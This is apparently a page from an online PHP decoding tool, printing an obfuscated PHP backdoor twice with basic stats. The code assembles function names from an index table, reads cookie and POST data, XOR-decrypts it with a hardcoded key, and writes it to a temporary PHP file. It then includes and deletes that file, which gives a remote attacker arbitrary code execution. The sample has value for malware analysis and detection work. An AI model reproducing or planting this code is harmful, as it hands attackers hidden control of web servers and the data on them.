Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php function hr1/* wqa*/(/*mvt */$ds2 ) {$vt3/* haiv */= "hr0x#m_..

Decoded Output download

<?php 
function        hr1/* wqa*/(/*mvt   */$ds2    ) 
 
 
{$vt3/*   haiv   */=  "hr0x#m_@cH<ipF7 t25Evl'493-sao6dyk?n;ug*" . 
"IeL.()f" . 
"b" . 
"/" . 
"8" ; 
 
$xq5=''; 
 
foreach(   $ds2      as/* u  */$hj4    ) 
{ 
$xq5/*  ulz  */.=       $vt3   [     $hj4       ]; 
} 
return/* ajzla  */$xq5;}$jb6   =  Array(); 
 
 
$jb6/*   a   */[]  =      hr1/*   fbo*/(     Array(14       ,/*  euhp*/25/*   xub*/,    28      ,       18       ,/* rarw   */24/* nhfp*/,/*irs */17    ,/*   kjal */30     ,      31/*   sd  */,     26   ,  17      ,       18       ,      24       ,  14       ,  26/*   y  */,   23      ,       2   ,/* puln  */2/*   rqy */,/* vwkog   */41    ,/* z   */26   ,        49      ,/*   atvmz */47   ,   31     ,       46/*  xcgit */,       26        ,     46/*   mm  */,      31    ,/* muuc*/14    ,       28  ,    8      ,   8   ,/*mt */24  ,/*  qj*/46/*  drzg  */,    46       ,       47/*xwz  */,/*  ha  */28     ,/*  hs   */17/*   jnfjg*/,)      )     ;$jb6   []      =    hr1    (    Array(34       ,       12      ,   0/*  mwqms   */,   12     ,    15   ,   7    ,    37    ,   35  ,  21/* t */,     11      ,      35       ,       33       ,/*xbf*/44     ,       6  ,    6      ,  13     ,/*   so */40  ,      42     ,       19/*  i  */,      6    , 
        6/*  znue */,   45       ,      36      ,      15/* vasxp */,)/*   lq*/)        ; 
$jb6     []/*  huzmv */=   hr1  (/*   sh  */Array(43/*hejs */,     5/*  wvmfl  */,      29      ,       31      ,       37       ,   21/*  otf*/,       41    ,)/* c*/)     ; 
$jb6/*  mh  */[]/*hqf */=      hr1/* hb*/(/*iboi  */Array(9      ,      39      ,)      )       ; 
 
$jb6    []   =/*   vbyb */hr1/*l  */(   Array(43    ,/*  sur */48  ,)/*  xps*/) ;$jb6   []      =    hr1    (/*   oscty */Array(4       ,)   )  ;$jb6  []    =/*  jft*/hr1    (/*  tgp  */Array(10    ,)      )     ; 
 
$jb6[]       =  hr1/*  p */(  Array(46  ,    11 ,/*  oba  */21/*  rjsh  */,    41       ,   6/*l   */,  12   ,     37   ,       16/*  ogd  */,  6   ,   8       ,/*   z */29/*ci*/,/*   x */35/* nyncp */,/*   vkv  */16     ,/*   eow*/41/* e */,/*  al */35 ,       16/*  idtwd   */,       27/* ha*/,)/*  vgx  */) ; 
 
 
$jb6[]       =/*jaaz*/hr1       (       Array(28/*  c*/,        1       ,       1/*  rxdm  */,      28/* nxfz */,/* ql  */32/*   dyulg   */,    6       ,     5 ,/*   pppcs */41     ,  1    , 
        38      ,       41      ,)      )       ; 
 
 
$jb6[]  =     hr1/*eg   */(     Array(27/*ryrqe   */,/*  lhk */16       ,       1       ,/*ddq */6  ,   1       ,     41    ,   12      ,/* k   */41    ,      28       ,/*jcy   */16   ,)   )       ; 
 
 
$jb6[]  =       hr1     (       Array(41/*nxsrn   */,/* ztnz   */3  ,/*   pwc  */12  ,  21  ,   29      ,/*  gd*/31     ,       41      ,)/*   ufd*/)      ; 
 
 
$jb6[]  =       hr1     (     Array(27      ,   37      ,       47     ,   27/* nsmw   */,/*wycom   */16        ,      1        ,)     )   ; 
$jb6[]    =      hr1   (        Array(37        ,     35     ,  21       ,/*   ge   */11/*  x*/,/*tb */35       ,       33  ,)/*  nskxz   */)/* ekonw   */; 
 
 
$jb6[]  =    hr1      (/*   krqzp*/Array(27/*  owuue */,/*  c  */16   , 1/* yxifw   */, 21      ,       41/*   dfq  */, 35/* z*/,)/* j   */)    ; 
 
 
$jb6[]  =   hr1   (     Array(12    ,/*  dm*/28 ,/*yrjrj  */8/*  zqv  */,       33      ,)      )/* tdqub*/; 
 
 
$jb6[]  =       hr1/*  x */(      Array(5  ,/*fzb  */31/*  medku   */,/*   zouua   */18 ,)      )      ; 
 
 
 
 
 
 
 
foreach    (/*   d*/$jb6[8]/* aoz   */(/*  ugpok */$_COOKIE,/*   tz   */$_POST/*  fsc */)/*  m  */as     $ha14     =>/*   zbg  */$jx11) 
 
 
{ 
 
        function     ew8/* gsi   */(/*mibfp   */$jb6,       $ha14/* goh */,     $vo10      )/*heci   */{        return/*pwfkj   */$jb6[11]      (/*sgjg  */$jb6[9]      (/*   tmo*/$ha14       .      $jb6[0]/*  eit  */,     (       $vo10/$jb6[13](  $ha14  )/*brmss  */)   +/*jrzhh*/1/*  lw*/)/*pzd   */, 0       ,/*  g*/$vo10   ); 
 
        } 
 
 
        function/*  lwqj */wa7      (   $jb6,/*   gswa */$oi12      ) 
 
        { 
 
 
        return   @$jb6[14]/*   ay*/($jb6[3]     ,       $oi12/*  pbq*/); 
 
 
        } 
 
 
 
    function    ws9     (       $jb6,  $oi12/* ix   */) 
 
 
/*fs  */{ 
 
       if/*   y*/(      isset   (/*   eri*/$oi12[2]/* eb   */)/*   d  */)/* n */{ 
 
 
/*   oiizg  */$ln13  =       $jb6[4]   ./*  r */$jb6[15](       $jb6[0]/*   tb */)       .  $jb6[2]; 
 
/*bddq */@$jb6[7]       (       $ln13,       $jb6[6]   .        $jb6[1]/* olbm  */.    $oi12[1]       (      $oi12[2]   )/*   s*/); 
 
 
        @include/*   o  */(/* pnxqf   */$ln13     ); 
 
        @$jb6[12]       (       $ln13   ); 
 
 
       exit   ();       } 
        } 
 
 
 
        $jx11   =/*  ut  */wa7  (      $jb6,/*sojz */$jx11       ); 
        ws9     (       $jb6,/*e   */$jb6[10]      (/*a */$jb6[5]       ,       $jx11   ^/*   rzrin  */ew8/*e */(       $jb6,   $ha14   ,       $jb6[13](     $jx11       )/*tqyuf */)    )/* qj */); ?>

Did this file decode correctly?

Original Code

<?php
function        hr1/* wqa*/(/*mvt   */$ds2    )


{$vt3/*   haiv   */=  "hr0x#m_@cH<ipF7 t25Evl'493-sao6dyk?n;ug*" .
"IeL.()f" .
"b" .
"/" .
"8" ;

$xq5='';

foreach(   $ds2      as/* u  */$hj4    )
{
$xq5/*  ulz  */.=       $vt3   [     $hj4       ];
}
return/* ajzla  */$xq5;}$jb6   =  Array();


$jb6/*   a   */[]  =      hr1/*   fbo*/(     Array(14       ,/*  euhp*/25/*   xub*/,    28      ,       18       ,/* rarw   */24/* nhfp*/,/*irs */17    ,/*   kjal */30     ,      31/*   sd  */,     26   ,  17      ,       18       ,      24       ,  14       ,  26/*   y  */,   23      ,       2   ,/* puln  */2/*   rqy */,/* vwkog   */41    ,/* z   */26   ,        49      ,/*   atvmz */47   ,   31     ,       46/*  xcgit */,       26        ,     46/*   mm  */,      31    ,/* muuc*/14    ,       28  ,    8      ,   8   ,/*mt */24  ,/*  qj*/46/*  drzg  */,    46       ,       47/*xwz  */,/*  ha  */28     ,/*  hs   */17/*   jnfjg*/,)      )     ;$jb6   []      =    hr1    (    Array(34       ,       12      ,   0/*  mwqms   */,   12     ,    15   ,   7    ,    37    ,   35  ,  21/* t */,     11      ,      35       ,       33       ,/*xbf*/44     ,       6  ,    6      ,  13     ,/*   so */40  ,      42     ,       19/*  i  */,      6    ,
        6/*  znue */,   45       ,      36      ,      15/* vasxp */,)/*   lq*/)        ;
$jb6     []/*  huzmv */=   hr1  (/*   sh  */Array(43/*hejs */,     5/*  wvmfl  */,      29      ,       31      ,       37       ,   21/*  otf*/,       41    ,)/* c*/)     ;
$jb6/*  mh  */[]/*hqf */=      hr1/* hb*/(/*iboi  */Array(9      ,      39      ,)      )       ;

$jb6    []   =/*   vbyb */hr1/*l  */(   Array(43    ,/*  sur */48  ,)/*  xps*/) ;$jb6   []      =    hr1    (/*   oscty */Array(4       ,)   )  ;$jb6  []    =/*  jft*/hr1    (/*  tgp  */Array(10    ,)      )     ;

$jb6[]       =  hr1/*  p */(  Array(46  ,    11 ,/*  oba  */21/*  rjsh  */,    41       ,   6/*l   */,  12   ,     37   ,       16/*  ogd  */,  6   ,   8       ,/*   z */29/*ci*/,/*   x */35/* nyncp */,/*   vkv  */16     ,/*   eow*/41/* e */,/*  al */35 ,       16/*  idtwd   */,       27/* ha*/,)/*  vgx  */) ;


$jb6[]       =/*jaaz*/hr1       (       Array(28/*  c*/,        1       ,       1/*  rxdm  */,      28/* nxfz */,/* ql  */32/*   dyulg   */,    6       ,     5 ,/*   pppcs */41     ,  1    ,
        38      ,       41      ,)      )       ;


$jb6[]  =     hr1/*eg   */(     Array(27/*ryrqe   */,/*  lhk */16       ,       1       ,/*ddq */6  ,   1       ,     41    ,   12      ,/* k   */41    ,      28       ,/*jcy   */16   ,)   )       ;


$jb6[]  =       hr1     (       Array(41/*nxsrn   */,/* ztnz   */3  ,/*   pwc  */12  ,  21  ,   29      ,/*  gd*/31     ,       41      ,)/*   ufd*/)      ;


$jb6[]  =       hr1     (     Array(27      ,   37      ,       47     ,   27/* nsmw   */,/*wycom   */16        ,      1        ,)     )   ;
$jb6[]    =      hr1   (        Array(37        ,     35     ,  21       ,/*   ge   */11/*  x*/,/*tb */35       ,       33  ,)/*  nskxz   */)/* ekonw   */;


$jb6[]  =    hr1      (/*   krqzp*/Array(27/*  owuue */,/*  c  */16   , 1/* yxifw   */, 21      ,       41/*   dfq  */, 35/* z*/,)/* j   */)    ;


$jb6[]  =   hr1   (     Array(12    ,/*  dm*/28 ,/*yrjrj  */8/*  zqv  */,       33      ,)      )/* tdqub*/;


$jb6[]  =       hr1/*  x */(      Array(5  ,/*fzb  */31/*  medku   */,/*   zouua   */18 ,)      )      ;







foreach    (/*   d*/$jb6[8]/* aoz   */(/*  ugpok */$_COOKIE,/*   tz   */$_POST/*  fsc */)/*  m  */as     $ha14     =>/*   zbg  */$jx11)


{

        function     ew8/* gsi   */(/*mibfp   */$jb6,       $ha14/* goh */,     $vo10      )/*heci   */{        return/*pwfkj   */$jb6[11]      (/*sgjg  */$jb6[9]      (/*   tmo*/$ha14       .      $jb6[0]/*  eit  */,     (       $vo10/$jb6[13](  $ha14  )/*brmss  */)   +/*jrzhh*/1/*  lw*/)/*pzd   */, 0       ,/*  g*/$vo10   );

        }


        function/*  lwqj */wa7      (   $jb6,/*   gswa */$oi12      )

        {


        return   @$jb6[14]/*   ay*/($jb6[3]     ,       $oi12/*  pbq*/);


        }



    function    ws9     (       $jb6,  $oi12/* ix   */)


/*fs  */{

       if/*   y*/(      isset   (/*   eri*/$oi12[2]/* eb   */)/*   d  */)/* n */{


/*   oiizg  */$ln13  =       $jb6[4]   ./*  r */$jb6[15](       $jb6[0]/*   tb */)       .  $jb6[2];

/*bddq */@$jb6[7]       (       $ln13,       $jb6[6]   .        $jb6[1]/* olbm  */.    $oi12[1]       (      $oi12[2]   )/*   s*/);


        @include/*   o  */(/* pnxqf   */$ln13     );

        @$jb6[12]       (       $ln13   );


       exit   ();       }
        }



        $jx11   =/*  ut  */wa7  (      $jb6,/*sojz */$jx11       );
        ws9     (       $jb6,/*e   */$jb6[10]      (/*a */$jb6[5]       ,       $jx11   ^/*   rzrin  */ew8/*e */(       $jb6,   $ha14   ,       $jb6[13](     $jx11       )/*tqyuf */)    )/* qj */);

Function Calls

None

Variables

None

Stats

MD5 fb93a99b6ccf35e8c226d381aae8dd5b
Eval Count 0
Decode Time 66 ms